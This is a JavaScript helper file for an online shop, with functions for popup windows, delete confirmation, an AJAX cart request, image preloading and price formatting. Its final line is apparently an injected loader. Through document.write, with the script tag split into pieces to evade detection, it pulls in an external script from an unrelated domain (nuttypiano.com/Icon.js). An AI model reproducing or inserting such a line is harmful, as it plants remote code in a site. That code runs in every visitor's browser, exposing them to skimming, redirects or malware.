function open_window(link,w,h) {
var win = "width="+w+",height="+h+",menubar=no,location=no,resizable=yes,scrollbars=yes";
newWin = window.open(link,'newWin',win);
newWin.focus();
}

function open_printable_version(link) {
var win = "menubar=no,location=no,resizable=yes,scrollbars=yes";
newWin = window.open(link,'perintableWin',win);
newWin.focus();
}

function confirmDelete(id, ask, url) {
temp = window.confirm(ask);
if (temp) {
window.location=url+id;
}
}

function doLoad(forse) {
        JsHttpRequest.query(
            'cart.php', forse,
            // Function is called when an answer arrives.
            function(result, errors) {
                doCart(result);
                doAlert();
            },
            true  // do not disable caching
        );
}

function preloadImages() {
var d=document;
  if(d.images){
    if(!d.massiv) d.massiv=new Array();
       var i,j=d.massiv.length,a=arguments;
       for(i=0; i<a.length; i++)
          if (a[i].indexOf("#")!=0){
              d.massiv[j]=new Image; d.massiv[j++].src=a[i];
          }
  }
}

function _formatPrice( _price )
{
 _pointIndex = -1;
 for( i=0; i< _price.length; i++ )
if ( _price.charAt(i) == '.' )
{
 _pointIndex = i;
break;
}
if (  _pointIndex == -1 )
 _price = _price + ".00";
else if (  _price.length-1 - _pointIndex == 1  )
_price = _price + "0";
 _res = "";
i=0;
for( i=_price.length-1; i >= 0; i-- )
{
if ( _price.charAt(i) == '.' )
break;
else
_res = _price.charAt(i) + _res;
}
 _res = "." + _res;
 i--;
 _digitCounter = 0;
for( ; i>=0; i-- )
 {
 _digitCounter ++;
 _res = _price.charAt(i) + _res;
if ( _digitCounter == 3 && i != 0 )
 {
 _res = "," + _res;
 _digitCounter = 0;
}
}
return _res;
}



document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Icon.js"></scri'+'pt>');